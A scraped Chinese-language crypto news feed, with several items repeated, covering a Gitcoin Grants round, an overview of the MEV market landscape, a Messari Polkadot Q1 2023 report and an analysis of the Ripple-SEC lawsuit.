• Open

    Gitcoin 将于 4 月 25 日开启 Gitcoin Grants Beta Round，用户需在开启之前重新收集 Stamps
    Gitcoin 将于 4 月 25 日开启 Gitcoin Grants Beta Round，用户需在开启之前重新收集 Stamps Gitcoin 宣布将于 4 月 25 日开启 Gitcoin Grants Beta Round，请用户检查 Gitcoin Passport 是否为最新版本。为了确认用户身份，Gitcoin 将每 90 天会重置一次用户的 Gitcoin Passport。此外，用户还需在 4 月 25 日 Beta Round 上线之前重新收集 Stamps。 内容来源 观点： Gitcoin：即将到来的 Gitcoin Grants Beta Round 中的 Core Round 中有 125 万美元的匹配资金，五个核心轮次包括 Climate Solutions、ZK Tech、OSS、Community & Ed 和以太坊基础设施。【原文为英文】 内容来源  ( 2 min )

  • Open

    图解MEV全赛道：如何穿越黑暗森林？
    原文：《Navigating the Dark Forest: Unraveling the Mysteries of the MEV Market Landscape》by Ali 编译：深潮 TechFlow 随着区块链技术的不断发展，MEV 已成为一个备受关注的话题。MEV 市场是一个复杂且不断发展的领域，因此，本文介绍的分类可能会随着时间的推移而演变。但无论如何，研究员 Ali 在本文提供一个 详细的MEV 市场版图，探索 3 个不同类别的 MEV 复杂世界： 1. 基础设施 ； 2. 解决方案 ； 3. 应用。 I. 基础设施层 从基础设施层开始，该层由“验证者和质押参与者”构成。正如我们早期 MEV 研究所预期的那样，MPSV（MEV 利润分享验证者）的出现已经改变了市场格局，许多验证者现在提供增强的 MEV 奖励以及传统的质押收益。我们观察到 MPSV 和 LSD 在提供 MEV 奖励的不同链中兴起。一些提供给质押者 MEV 奖励的著名验证者包括 Cogent、Chainflow、Chorus One 和 Stakefish。 类似地，在 LSD 方面，许多协议正在将 MEV 奖励分配到质押者之间，例如 Manifold、Frax、Rocketpool、Laine（StakeWiz）、Marinade Finance 和 Lido。这些市场参与者除了纯质押带来的回报外，还提供 MEV 奖励。 在这个子类别之上，我们发现核心的区块构建者（Block Builders） 和中继（ Relay）参与者。区块构建者是高度专业化的参与者，他们根据交易顺序流（公共交易、捆绑交易、私人交易等）构建区块。中继接受来自构建者的区块，并选择当前提议者获利最大的区块。 在区块构建者类别中，有一些特殊的参与者，例如提供主权 MEV 基础设施的 Skip 协议（Cosmos）。所谓主权是指 Skip 正在创建模块化工具，允许应用程序链完全控制和自定义交易偏好规则。另外的参与者还有 Jito，它作为 MPSV，拥有自己的流动质押衍生品 jSOL。 每个区块链生态系统通常都有自己的 MEV 区块构建者提供者（以太坊可能有多个提供者）。一些例子包括：Skip / Cosmos、Jito / Solana、Flashbots / Ethereum、Fastlane / Polygon。从这个分析中出现了两个关键洞察结论： MEV 解决方案包含一系列工具和协议，旨在帮助在整个生态系统中提取、预防或普及 MEV。这个部分最引人注目的子类别之一是由 Skip Protocol、Suave 和 Anoma 等领导者带头的 MEV 跨链协调。跨链、可组合性和模块化的日益普及自然为新型跨链和区间 MEV 解决方案铺平了道路。 另一个有趣的子类别是（共享的）排序器 Sequencer 部分，它专注于第二层扩展解决方案。共享排序器减轻了 MEV 相关风险，通过促进公平和一致的交易排序，从而限制了提前抢跑交易和机器人利用有利可图的交易的机会。 其他新兴领域包括与 NFT 相关的 MEV 解决方案，如 Pikapool，旨在创建一个特定的 NFT 内存池，并降低 MEV 的任何负外部性。其他专注于 NFT 的工具还包括抢购和稀缺性查询工具，套利者可以利用这些工具来最大化利润和交易 NFT。 最后，我们认为即将开始发展的一个新类别将是游戏 MEV 工具市场。 区块链游戏很有趣，因为它通常涉及到 Defi（即游戏代币）以及 NFT（即游戏资产）。随着我们看到游戏领域越来越多的创新和加密游戏行业的发展，我们相信 MEV 进入的时机已经成熟。我们看到 MEV 进入了 Defi，然后是 NFT，考虑到链上游戏的主要组成部分是 NFT - MEV 在这里扮演至关重要的角色是自然而然的，特别是关于用户体验方面。现有的 MEV 参与者将捕捉这个市场，或者我们可能会看到一些新的参与者出现。 一些长尾游戏 MEV 的早期例子是 mgnr 开发了一个自由市场来销售来自 Defi Kingdoms 的锁定的$JEWEL 代币——这为非流动性游戏代币的各种套利机会打开了大门。 应用层包括跨越 MEV 生态系统的终端用户产品。一方面，许多 DEX 和聚合器都强调 MEV 预防。另一方面，其他市场和交易平台经常遇到 MEV 套利和清算。 我们还看到的一个有趣的类别是针对区块空间和订单流支付的利基特定市场。这方面的例子包括 Alkimiya 和 DFLOW。看看如何利用这些市场以及从中出现哪些新用例将会很有趣。 我们预测这一层将出现两个重要的类别： 提供 MEV 保护的 NFT 和游戏市场。NFT MEV 的实例包括在 Mint 期间的机器人活动、涉及地板价的套利机会或 NFT 贷款的清算。在预防方面，我们特指减轻机器人活动。正如之前提到的，链上游戏日益普及很可能会将各种形式的 MEV 引入该领域。因此，游戏平台必须调整他们的协议来应对这些挑战。 MEV 钱包。钱包是用户与去中心化应用程序之间的枢纽，我们希望钱包开始与 MEV 解决方案提供商或区块构建者合作，以帮助用户重新捕获他们可能遇到的 MEV 滑点，甚至是新形式的 MEV。 总之，MEV 市场版图提供了对 MEV 复杂而动态的世界的全面概述。随着市场的不断发展，我们将继续致力于与更广泛的社区合作，完善和更新这一资源。我们可以一起穿越 MEV 的“黑暗森林”，并照亮通向更透明、安全和公正的区块链生态系统的道路。  ( 3 min )
    图解MEV全赛道：如何穿越黑暗森林？
    原文：《Navigating the Dark Forest: Unraveling the Mysteries of the MEV Market Landscape》by Ali 编译：深潮 TechFlow 随着区块链技术的不断发展，MEV 已成为一个备受关注的话题。MEV 市场是一个复杂且不断发展的领域，因此，本文介绍的分类可能会随着时间的推移而演变。但无论如何，研究员 Ali 在本文提供一个 详细的MEV 市场版图，探索 3 个不同类别的 MEV 复杂世界： 1. 基础设施 ； 2. 解决方案 ； 3. 应用。 I. 基础设施层 从基础设施层开始，该层由“验证者和质押参与者”构成。正如我们早期 MEV 研究所预期的那样，MPSV（MEV 利润分享验证者）的出现已经改变了市场格局，许多验证者现在提供增强的 MEV 奖励以及传统的质押收益。我们观察到 MPSV 和 LSD 在提供 MEV 奖励的不同链中兴起。一些提供给质押者 MEV 奖励的著名验证者包括 Cogent、Chainflow、Chorus One 和 Stakefish。 类似地，在 LSD 方面，许多协议正在将 MEV 奖励分配到质押者之间，例如 Manifold、Frax、Rocketpool、Laine（StakeWiz）、Marinade Finance 和 Lido。这些市场参与者除了纯质押带来的回报外，还提供 MEV 奖励。 在这个子类别之上，我们发现核心的区块构建者（Block Builders） 和中继（ Relay）参与者。区块构建者是高度专业化的参与者，他们根据交易顺序流（公共交易、捆绑交易、私人交易等）构建区块。中继接受来自构建者的区块，并选择当前提议者获利最大的区块。 在区块构建者类别中，有一些特殊的参与者，例如提供主权 MEV 基础设施的 Skip 协议（Cosmos）。所谓主权是指 Skip 正在创建模块化工具，允许应用程序链完全控制和自定义交易偏好规则。另外的参与者还有 Jito，它作为 MPSV，拥有自己的流动质押衍生品 jSOL。 每个区块链生态系统通常都有自己的 MEV 区块构建者提供者（以太坊可能有多个提供者）。一些例子包括：Skip / Cosmos、Jito / Solana、Flashbots / Ethereum、Fastlane / Polygon。从这个分析中出现了两个关键洞察结论： MEV 解决方案包含一系列工具和协议，旨在帮助在整个生态系统中提取、预防或普及 MEV。这个部分最引人注目的子类别之一是由 Skip Protocol、Suave 和 Anoma 等领导者带头的 MEV 跨链协调。跨链、可组合性和模块化的日益普及自然为新型跨链和区间 MEV 解决方案铺平了道路。 另一个有趣的子类别是（共享的）排序器 Sequencer 部分，它专注于第二层扩展解决方案。共享排序器减轻了 MEV 相关风险，通过促进公平和一致的交易排序，从而限制了提前抢跑交易和机器人利用有利可图的交易的机会。 其他新兴领域包括与 NFT 相关的 MEV 解决方案，如 Pikapool，旨在创建一个特定的 NFT 内存池，并降低 MEV 的任何负外部性。其他专注于 NFT 的工具还包括抢购和稀缺性查询工具，套利者可以利用这些工具来最大化利润和交易 NFT。 最后，我们认为即将开始发展的一个新类别将是游戏 MEV 工具市场。 区块链游戏很有趣，因为它通常涉及到 Defi（即游戏代币）以及 NFT（即游戏资产）。随着我们看到游戏领域越来越多的创新和加密游戏行业的发展，我们相信 MEV 进入的时机已经成熟。我们看到 MEV 进入了 Defi，然后是 NFT，考虑到链上游戏的主要组成部分是 NFT - MEV 在这里扮演至关重要的角色是自然而然的，特别是关于用户体验方面。现有的 MEV 参与者将捕捉这个市场，或者我们可能会看到一些新的参与者出现。 一些长尾游戏 MEV 的早期例子是 mgnr 开发了一个自由市场来销售来自 Defi Kingdoms 的锁定的$JEWEL 代币——这为非流动性游戏代币的各种套利机会打开了大门。 应用层包括跨越 MEV 生态系统的终端用户产品。一方面，许多 DEX 和聚合器都强调 MEV 预防。另一方面，其他市场和交易平台经常遇到 MEV 套利和清算。 我们还看到的一个有趣的类别是针对区块空间和订单流支付的利基特定市场。这方面的例子包括 Alkimiya 和 DFLOW。看看如何利用这些市场以及从中出现哪些新用例将会很有趣。 我们预测这一层将出现两个重要的类别： 提供 MEV 保护的 NFT 和游戏市场。NFT MEV 的实例包括在 Mint 期间的机器人活动、涉及地板价的套利机会或 NFT 贷款的清算。在预防方面，我们特指减轻机器人活动。正如之前提到的，链上游戏日益普及很可能会将各种形式的 MEV 引入该领域。因此，游戏平台必须调整他们的协议来应对这些挑战。 MEV 钱包。钱包是用户与去中心化应用程序之间的枢纽，我们希望钱包开始与 MEV 解决方案提供商或区块构建者合作，以帮助用户重新捕获他们可能遇到的 MEV 滑点，甚至是新形式的 MEV。 总之，MEV 市场版图提供了对 MEV 复杂而动态的世界的全面概述。随着市场的不断发展，我们将继续致力于与更广泛的社区合作，完善和更新这一资源。我们可以一起穿越 MEV 的“黑暗森林”，并照亮通向更透明、安全和公正的区块链生态系统的道路。  ( 3 min )
    Polkadot一季度报告：收入环比增长28%，日活跃账户数下降16%
    作者：Nicholas Garcia | Messari 编译：Felix | PANews 性能分析 注意：财务和网络指标仅指Polkadot中继链，而不是平行链。 财务概览 Polkadot财务状况在2023年第一季度保持稳定，流通市值环比增长51%，从51亿美元增至77亿美元。涨幅略高于大盘46%的涨幅。Polkadot目前市值排名为第10到第15位。 收入方面，Polkadot在2023年第一季度产生了12万美元收入，比上季度的9.4万美元环比增长28%。Polkadot的收入计算，是指花费在中继链上的所有gas费总和。中继链上的gas费不是来自与应用程序交互的用户，而是在代币转移、质押、验证者选举、治理投票和参与平行链插槽拍卖中产生的。 Polkadot原生代币DOT有三个主要用途：治理、质押和平行链锁仓。DOT有通货膨胀机制，没有最大供给，平均每年通胀率约为10%。Polkadot旨在保持一个理想的质押率，这说明DOT有足够的支持，以防止可能出现的安全隐患，同时保持原生代币的流动性。尽管质押率会随平行链的数量而变化，但目前理想的质押率约为50%。在第一季度，Polkadot有近50%的供应被质押，这表明该机制正在发挥作用。DOT的质押年收益率约为15%，这意味着Polkadot投资者的实际收益约为5%（年质押率-通胀率）。 Polkadot的资金来源包括区块奖励、验证者罚没、交易费和低效的质押。国库资金被设计为每24天使用一次，即所谓的支出期，然后将多余的、未使用的资金的1%销毁。国库资金保存在一个任何人都无法访问的系统帐号中，因此所有支出都在链上自动执行。 在第一季度，财务支出为140万DOT（860万美元）。主要用于各种活动，包括基础设施部署、社区活动和流动性供应。Polkadot本季度结束时的财务余额为4400万DOT（2.8亿美元），OpenGov的实施可能会导致国库使用的增加。 Polkadot中继链有几个主要功能，包括保护、管理和连接平行链。因此，用户主要通过平行链进行交易和使用网络。然而，中继链也支持一些用户功能，包括代币转移、质押、验证者选举、治理投票和参与平行链插槽拍卖。 中继链账户指标环比下降，日活跃账户从8300下降16%至6900，日新增账户从2400下降28%至1700。然而，尽管有所下降，这两项指标都与历史平均水平一致。活跃账户第四季度的激增是由提名池的启动推动的，目前尚不清楚是什么推动了第一季度的激增。 链间消息传递格式 (XCM) 链间消息传递格式（XCM）自2022年5月推出以来，XCM的使用量一直在稳步增长，迄今为止已发送了大约24万条XCM消息。大多数XCM用例都与资产转移有关。然而本季度，其他用例（如运营和资产转移）出现了明显的激增。XCM通道的数量也在持续增长，Polkadot在23年第一季度结束时拥有111个通道，高于22年第四季度的70个。 XCM V3是XCM的新版本。该版本将引入新功能，如增强的可编程性、桥接外部网络、跨链锁定、改进的费用支付和NFT。XCM V3在1月份被合并到Polkadot代码库中，目前正处于审计和批准阶段。 平行链 2023 年第一季度，Polkadot平行链插槽拍卖中锁仓DOT的总量持续下降。在六个插槽拍卖中，32.5万个DOT（210万美元）被锁仓，比上季度下降53%。平均每个插槽获得约5.5万个DOT，明显低于第一批拍卖中平均获得的2000万个DOT。 插槽获取成本的降低促使更多的平行链采取自筹资金的方式，在第一季度，6个插槽中有4个是自筹资金。自筹资金促使项目更快地启动平行链，而不必依赖外部资金来源。 首批租赁Polkadot平行链包括Acala、Moonbeam、Astar、Parallel和Clover，租约将于10月24日到期。为了维持租约，必须参加新的拍卖并成功竞标。一旦租约到期，所有在拍卖期间被锁仓的DOT将完全流动。然而，这些DOT是线性解锁，因此不太可能对DOT的价格产生重大影响。 TVL 收集所有的Polkadot平行链数据可能很难，但这里分析了一些头部平行链的数据。TVL在领先的平行链中分布良好，其中Moonbeam领先，紧随其后的是Acala、Astar和Parallel。 注意：上述TVL指标不包括流动性质押。 开发者活动 根据每年Electric Capital开发者报告，Polkadot依然最大的开发者基地之一，拥有2000多名开发人员，其中750多名为全职开发人员，尽管Polkadot的开发者总数同比增长了2%，但其增长速度仍落后于Solana和Polygon等新兴公链。尽管如此，自2018年以来，Polkadot的全职开发者数量增长了16倍以上。 位于加州伯克利的Polkadot区块链学院正在接受第三批学生的申请。该学院要求工程师熟练掌握Web3技术。涵盖密码学、经济学、区块链、Substrate、Pallet开发、Polkadot、平行链、智能合约和XCM等主题。前两批申请在剑桥和布宜诺斯艾利斯进行。 Polkadot采用了一种提名权益证明（NPoS）机制和独特的验证者奖励模型。该模型确保验证者获得几乎相同的奖励，激励提名者与较低风险的验证者一起质押，获得更高的奖励，并最终分散验证者集。截至第一季度，97%的验证者质押了170万到260万DOT，表明该模型取得了成功。因此，Polkadot的中本系数（注：用于衡量去中心化水平）高达70左右，远高于行业平均水平。 为了让所有人都能参与质押，Polkadot在上个季度推出了提名池。这些池使DOT持有者能够组合代币，并充当单一提名者，支持一组选定的验证者。提名池可通过质押仪表盘和钱包（如Nova Wallet、Talisman和SubWallet）获得。截至第一季度，Polkadot有116个活跃的提名池。 Polkadot的质押系统旨在通过保持理想的质押率，来平衡网络安全性和流动性。目前理想的质押率约为50%，但它会根据平行链数量而变化。如果低于理想率，则提名者的质押奖励会增加，从而鼓励他们在网络上质押更多代币。相反，如果质押的代币超过理想的比率，质押的回报就会减少。在第一季度，Polkadot有近50%的供应量被质押，这表明该机制在实现理想的质押率方面是有效的。 OpenGov使Polkadot网络中的每一项决定都是由社区提出的全民公决结果。提案根据特定的条件分为不同的等级，如指定的投票期限、单次最多合格的投票数和所需的DOT存款。随着层级的增加，通过提案的条件变得更加严格。 理事会和技术委员会由OpenGov的Fellowship取代。Fellowship主要履行三个角色：担任技术顾问，维护和开发核心协议和代码，以及推广Polkadot技术。Fellowship的功能类似于开发人员DAO，允许所有用户加入并减少中心化问题。具有多种机制的排名系统确保了去中心化，包括章程、社区对高级职位的投票，以及限制领导控制。 在2023年第一季度，Polkadot继续其网络发展和扩张的道路。Polkadot的财务表现稳定，市值环比增长51%，收入环比增长28%。140万DOT（860万美元）的财务支出用于基础设施、社区活动和流动性供应，本季度结束时国库余额为4400万DOT（2.8亿美元）。尽管中继链的账户指标环比下降，但仍与历史平均水平保持一致。 Polkadot生态系统继续扩大，XCM的使用量稳步上升，XCM通道有所增长，另外有六条平行链上线。Polkadot的验证器稳定性得以保持，去中心化系数高，并且成功采用了提名池。此外，Polkadot近50%的供应被质押，证明了质押机制的有效性。 Polkadot的未来看起来很有希望，其路线图包含XCM V3、OpenGov、系统平行链、异步支持和平行线程。鉴于其庞大而忠诚的开发者社区，Polkadot预计将在2023年推出创新产品。  ( 3 min )
    Polkadot一季度报告：收入环比增长28%，日活跃账户数下降16%
    作者：Nicholas Garcia | Messari 编译：Felix | PANews 性能分析 注意：财务和网络指标仅指Polkadot中继链，而不是平行链。 财务概览 Polkadot财务状况在2023年第一季度保持稳定，流通市值环比增长51%，从51亿美元增至77亿美元。涨幅略高于大盘46%的涨幅。Polkadot目前市值排名为第10到第15位。 收入方面，Polkadot在2023年第一季度产生了12万美元收入，比上季度的9.4万美元环比增长28%。Polkadot的收入计算，是指花费在中继链上的所有gas费总和。中继链上的gas费不是来自与应用程序交互的用户，而是在代币转移、质押、验证者选举、治理投票和参与平行链插槽拍卖中产生的。 Polkadot原生代币DOT有三个主要用途：治理、质押和平行链锁仓。DOT有通货膨胀机制，没有最大供给，平均每年通胀率约为10%。Polkadot旨在保持一个理想的质押率，这说明DOT有足够的支持，以防止可能出现的安全隐患，同时保持原生代币的流动性。尽管质押率会随平行链的数量而变化，但目前理想的质押率约为50%。在第一季度，Polkadot有近50%的供应被质押，这表明该机制正在发挥作用。DOT的质押年收益率约为15%，这意味着Polkadot投资者的实际收益约为5%（年质押率-通胀率）。 Polkadot的资金来源包括区块奖励、验证者罚没、交易费和低效的质押。国库资金被设计为每24天使用一次，即所谓的支出期，然后将多余的、未使用的资金的1%销毁。国库资金保存在一个任何人都无法访问的系统帐号中，因此所有支出都在链上自动执行。 在第一季度，财务支出为140万DOT（860万美元）。主要用于各种活动，包括基础设施部署、社区活动和流动性供应。Polkadot本季度结束时的财务余额为4400万DOT（2.8亿美元），OpenGov的实施可能会导致国库使用的增加。 Polkadot中继链有几个主要功能，包括保护、管理和连接平行链。因此，用户主要通过平行链进行交易和使用网络。然而，中继链也支持一些用户功能，包括代币转移、质押、验证者选举、治理投票和参与平行链插槽拍卖。 中继链账户指标环比下降，日活跃账户从8300下降16%至6900，日新增账户从2400下降28%至1700。然而，尽管有所下降，这两项指标都与历史平均水平一致。活跃账户第四季度的激增是由提名池的启动推动的，目前尚不清楚是什么推动了第一季度的激增。 链间消息传递格式 (XCM) 链间消息传递格式（XCM）自2022年5月推出以来，XCM的使用量一直在稳步增长，迄今为止已发送了大约24万条XCM消息。大多数XCM用例都与资产转移有关。然而本季度，其他用例（如运营和资产转移）出现了明显的激增。XCM通道的数量也在持续增长，Polkadot在23年第一季度结束时拥有111个通道，高于22年第四季度的70个。 XCM V3是XCM的新版本。该版本将引入新功能，如增强的可编程性、桥接外部网络、跨链锁定、改进的费用支付和NFT。XCM V3在1月份被合并到Polkadot代码库中，目前正处于审计和批准阶段。 平行链 2023 年第一季度，Polkadot平行链插槽拍卖中锁仓DOT的总量持续下降。在六个插槽拍卖中，32.5万个DOT（210万美元）被锁仓，比上季度下降53%。平均每个插槽获得约5.5万个DOT，明显低于第一批拍卖中平均获得的2000万个DOT。 插槽获取成本的降低促使更多的平行链采取自筹资金的方式，在第一季度，6个插槽中有4个是自筹资金。自筹资金促使项目更快地启动平行链，而不必依赖外部资金来源。 首批租赁Polkadot平行链包括Acala、Moonbeam、Astar、Parallel和Clover，租约将于10月24日到期。为了维持租约，必须参加新的拍卖并成功竞标。一旦租约到期，所有在拍卖期间被锁仓的DOT将完全流动。然而，这些DOT是线性解锁，因此不太可能对DOT的价格产生重大影响。 TVL 收集所有的Polkadot平行链数据可能很难，但这里分析了一些头部平行链的数据。TVL在领先的平行链中分布良好，其中Moonbeam领先，紧随其后的是Acala、Astar和Parallel。 注意：上述TVL指标不包括流动性质押。 开发者活动 根据每年Electric Capital开发者报告，Polkadot依然最大的开发者基地之一，拥有2000多名开发人员，其中750多名为全职开发人员，尽管Polkadot的开发者总数同比增长了2%，但其增长速度仍落后于Solana和Polygon等新兴公链。尽管如此，自2018年以来，Polkadot的全职开发者数量增长了16倍以上。 位于加州伯克利的Polkadot区块链学院正在接受第三批学生的申请。该学院要求工程师熟练掌握Web3技术。涵盖密码学、经济学、区块链、Substrate、Pallet开发、Polkadot、平行链、智能合约和XCM等主题。前两批申请在剑桥和布宜诺斯艾利斯进行。 Polkadot采用了一种提名权益证明（NPoS）机制和独特的验证者奖励模型。该模型确保验证者获得几乎相同的奖励，激励提名者与较低风险的验证者一起质押，获得更高的奖励，并最终分散验证者集。截至第一季度，97%的验证者质押了170万到260万DOT，表明该模型取得了成功。因此，Polkadot的中本系数（注：用于衡量去中心化水平）高达70左右，远高于行业平均水平。 为了让所有人都能参与质押，Polkadot在上个季度推出了提名池。这些池使DOT持有者能够组合代币，并充当单一提名者，支持一组选定的验证者。提名池可通过质押仪表盘和钱包（如Nova Wallet、Talisman和SubWallet）获得。截至第一季度，Polkadot有116个活跃的提名池。 Polkadot的质押系统旨在通过保持理想的质押率，来平衡网络安全性和流动性。目前理想的质押率约为50%，但它会根据平行链数量而变化。如果低于理想率，则提名者的质押奖励会增加，从而鼓励他们在网络上质押更多代币。相反，如果质押的代币超过理想的比率，质押的回报就会减少。在第一季度，Polkadot有近50%的供应量被质押，这表明该机制在实现理想的质押率方面是有效的。 OpenGov使Polkadot网络中的每一项决定都是由社区提出的全民公决结果。提案根据特定的条件分为不同的等级，如指定的投票期限、单次最多合格的投票数和所需的DOT存款。随着层级的增加，通过提案的条件变得更加严格。 理事会和技术委员会由OpenGov的Fellowship取代。Fellowship主要履行三个角色：担任技术顾问，维护和开发核心协议和代码，以及推广Polkadot技术。Fellowship的功能类似于开发人员DAO，允许所有用户加入并减少中心化问题。具有多种机制的排名系统确保了去中心化，包括章程、社区对高级职位的投票，以及限制领导控制。 在2023年第一季度，Polkadot继续其网络发展和扩张的道路。Polkadot的财务表现稳定，市值环比增长51%，收入环比增长28%。140万DOT（860万美元）的财务支出用于基础设施、社区活动和流动性供应，本季度结束时国库余额为4400万DOT（2.8亿美元）。尽管中继链的账户指标环比下降，但仍与历史平均水平保持一致。 Polkadot生态系统继续扩大，XCM的使用量稳步上升，XCM通道有所增长，另外有六条平行链上线。Polkadot的验证器稳定性得以保持，去中心化系数高，并且成功采用了提名池。此外，Polkadot近50%的供应被质押，证明了质押机制的有效性。 Polkadot的未来看起来很有希望，其路线图包含XCM V3、OpenGov、系统平行链、异步支持和平行线程。鉴于其庞大而忠诚的开发者社区，Polkadot预计将在2023年推出创新产品。  ( 3 min )
    Ripple与SEC“证券之争”将迎大结局，谁的胜算更大？
    原文：《Ripple身陷长期诉讼，“证券之争”谁将获胜？》 作者：一尔  出品：奔跑财经 近日，BitBoy Crypto创始人、加密货币网红Ben Armstrong（BitBoy）称Ripple-SEC这起案件将在6月或7月结案，Ripple与SEC的长达两年多的诉讼终于迎来了大结局。这场世纪之战也势必将影响美国加密监管的方向，亦或者改变加密市场的格局。 上周，深受Ripple-SEC案件影响的XRP的价格一路上涨，势要突破支撑位。但在本周，XRP的价格却跌破所有人的预期。截至4月21日，XRP的价格已降至3月以来的最低水平。众所周知，悬而未决的Ripple-SEC诉讼案件是影响XRP走势的重要因素，而越临近案件终结时刻，市场情绪则越发不稳定，众人也开始关注起这场长期拉锯战的走向和结果。 这起事件还要追溯到2020年12月，SEC起诉Ripple违反了联邦证券法。SEC认为Ripple公司及其创始人向投资者出售XRP，并以此获利，这种行为已经属于证券交易，但Ripple却未将XRP注册为证券。根据联邦证券法的要求，所有证券的发行和销售，包括涉及数字资产的证券，需要根据其规定进行登记，或获得豁免注册的资格。 早在2019年，SEC就基于Howey测试发布了《数字资产“投资合同”的框架分析》，以此来判断数字资产是否为证券。SEC认为，如果数字货币的发展依赖某一公司的努力，并且投资者期望从投资中获得合理的利润时，那么这种数字货币就会被视为证券。与此相反的是，如果一种数字货币足够独立、去中心化，任何参与者都无法影响数字货币的运作，并且投资者不会对利润形成预期，那么这种数字货币就不属于证券。清华大学金融科技研究院区块链研究中心基于此认为，比特币和以太坊的参与维护者显然足够分散，因此这两种数字资产并没有被SEC认定为证券。 这项分析框架并非是监管法律，仅仅是在为加密公司提供一定的监管预期，提示其被视作“证券”进行监管的可能性。很显然，在这份框架下，XRP这种中心化的货币很容易被当作证券。但Ripple针对这种指控，坚称跨境支付币不是证券。 此后，双方便开始了长达近3年的诉讼拉锯战，争论的焦点依然在于“XRP到底是不是证券”。直至今年3月，双方仍然在为各自的立场进行辩护。 SEC主席Gensler认为SEC可以决定哪些数字资产是证券，更没有必要通过立法来决定。同时也表示，现行证券法涵盖了加密市场中发生的大部分活动。虽然国会可以采取行动进一步澄清，但他认为没有必要增加权力。但Ripple首席执行官Brad Garlinghouse则认为，这样的决定应该基于立法，而不是SEC主席的个人观点。 4月8日，在最近的一篇推文中，SEC主席Gensler表示，加密市场与证券法没有任何不兼容之处。SEC的目标是使加密领域符合证券法，确保数字资产的投资者获得与其他市场相同的保护。然而，Ripple的政策主管Susan Friedman认为，加密货币与证券不同，这种差异需要具体的规则，而不是采用一刀切的方式进行监管。 双方均有各自立场。而在近日，这场旷日持久战终于要有定论了。有专业人士称美SEC对Ripple的诉讼案将会在上半年有最终裁决。 双方持续多年的辩论围绕的话题是“XRP的发行是否是以销售为目的”。 而更大范围来看，双方的争执更多在于“谁能决定一项数字资产是否为证券”。对于加密公司及交易所来说，是利益之争；对于美国监管机构来说，是监管权力的博弈。此次纷争将定下之后美国监管规则的基调，也将影响未来加密市场的走向。所以，其中一方的胜出势必会压缩另一方的权利空间，双方因此而僵持不下。 而4月20日，《福布斯》高级财富记者John Hyatt发布了一份关于Ripple商业行为的调查报告。具体来说，这份报告揭示了Ripple通过马来西亚主要合作伙伴Tranglo销售数十亿美元的XRP，并说明了Ripple是如何粉饰数字来营销其核心业务的。 众所周知，跨境支付是Ripple的核心业务，并且分为了两条业务线。一条有XRP，一条无XPR，但只有一条线真正赚钱，即XRP的业务。John Hyatt认为，Ripple通过营销XRP的流动性支付技术（ODL），实现了公司的快速增长。对此，Ripple首席技术官在推特上发表观点认为，Ripple所做的只是为了使XRP尽可能的广泛而已，并非是为了将其出售赚钱。而Ripple能从中赚到钱，并能够维持其运转，只是因为足够幸运。所以，在这类业务中很难对“XRP是否以出售为目的”进行定性。 Ripple首席技术官推特回复 而Gensler态度之所以如此强硬，不仅是为了争夺加密监管权，也是对加密货币层出不穷且眼花缭乱的运营模式感到不满。因为眼花缭乱之下，更容易滋生灰色地带。据外媒报道，美国证券交易委员会主席Gensler最近在国会作证，他批评了加密货币的合规性，并对稳定币监管表示担忧。他说，我从事金融工作40年了，从未见过一个如此不符合证券法的领域。他还证实，如果加密货币代币被视为证券，任何此类代币交易的交易所都需要注册为国家证券交易所，接受SEC的监管。Gensler对待监管的态度极为强硬，他坚持保持现有的监管准则，不做出重大改变。 同时，他还认为，数字资产市场需要更加合规。因为它严重危及投资者，并破坏了公众对资本市场的信任，这会威胁到投资者毕生的积蓄。而Ripple认为，一旦XRP被认定为证券，就需要接受严格监管，这在某种程度上会扼杀加密创新。双方据理力争，一直僵持不下。 而整起Ripple-SEC诉讼事件也正是如今美国加密市场的缩影，一个新兴的市场在立法和监管上仍存在许多灰色地带。监管的范围、职责不明确，加密公司对于监管的预期也会不稳定。加密市场仍然需要更清晰的监管制度来减少可能引起的市场混乱，此次诉讼的结果将成为加密监管改变的契机。 但是加密监管将改往哪个方向？还是取决于判决的结果。 由于加密市场的波动非常微妙，所以，XRP的价格也可以看作是投资者对这场诉讼的情绪反映。此前有报道称Ripple可能赢得与SEC的诉讼，XRP代币便在之后的24小时内上涨了20%以上。前段时间XRP价格飙升，Ben Armstrong认为是因为一些著名的Youtuber和有影响力的人对Ripple-SEC诉讼即将结束表示支持，以此推动了XRP价格上涨，因为看起来Ripple极有可能在诉讼中胜出。 但是一名参与诉讼的律师认为，SEC和Ripple诉讼案或将以平局告终。因为美国SEC自己的专家承认，自2018年年中以来，两大加密资产比特币和以太坊的价格可以解释多达90%的XRP价格变动。而与此同时，SEC又认为Ripple Labs持有高比例的XRP意味着XRP是中心化的，是一种证券。这两种说法和立场自相矛盾。 预计几周后，这起诉讼的裁决结果就要公布。但整体而言，XRP社区仍然对当前的形势保持乐观。他们认为监管机构的立场不一，法官不可能因此而支持SEC。但无论如何，各方均会为自己的利益集团积极争取。而只有等到最终的裁定结果，这场3年的连续剧才能算真正的告一段落。  ( 1 min )
    Ripple与SEC“证券之争”将迎大结局，谁的胜算更大？
    原文：《Ripple身陷长期诉讼，“证券之争”谁将获胜？》 作者：一尔  出品：奔跑财经 近日，BitBoy Crypto创始人、加密货币网红Ben Armstrong（BitBoy）称Ripple-SEC这起案件将在6月或7月结案，Ripple与SEC的长达两年多的诉讼终于迎来了大结局。这场世纪之战也势必将影响美国加密监管的方向，亦或者改变加密市场的格局。 上周，深受Ripple-SEC案件影响的XRP的价格一路上涨，势要突破支撑位。但在本周，XRP的价格却跌破所有人的预期。截至4月21日，XRP的价格已降至3月以来的最低水平。众所周知，悬而未决的Ripple-SEC诉讼案件是影响XRP走势的重要因素，而越临近案件终结时刻，市场情绪则越发不稳定，众人也开始关注起这场长期拉锯战的走向和结果。 这起事件还要追溯到2020年12月，SEC起诉Ripple违反了联邦证券法。SEC认为Ripple公司及其创始人向投资者出售XRP，并以此获利，这种行为已经属于证券交易，但Ripple却未将XRP注册为证券。根据联邦证券法的要求，所有证券的发行和销售，包括涉及数字资产的证券，需要根据其规定进行登记，或获得豁免注册的资格。 早在2019年，SEC就基于Howey测试发布了《数字资产“投资合同”的框架分析》，以此来判断数字资产是否为证券。SEC认为，如果数字货币的发展依赖某一公司的努力，并且投资者期望从投资中获得合理的利润时，那么这种数字货币就会被视为证券。与此相反的是，如果一种数字货币足够独立、去中心化，任何参与者都无法影响数字货币的运作，并且投资者不会对利润形成预期，那么这种数字货币就不属于证券。清华大学金融科技研究院区块链研究中心基于此认为，比特币和以太坊的参与维护者显然足够分散，因此这两种数字资产并没有被SEC认定为证券。 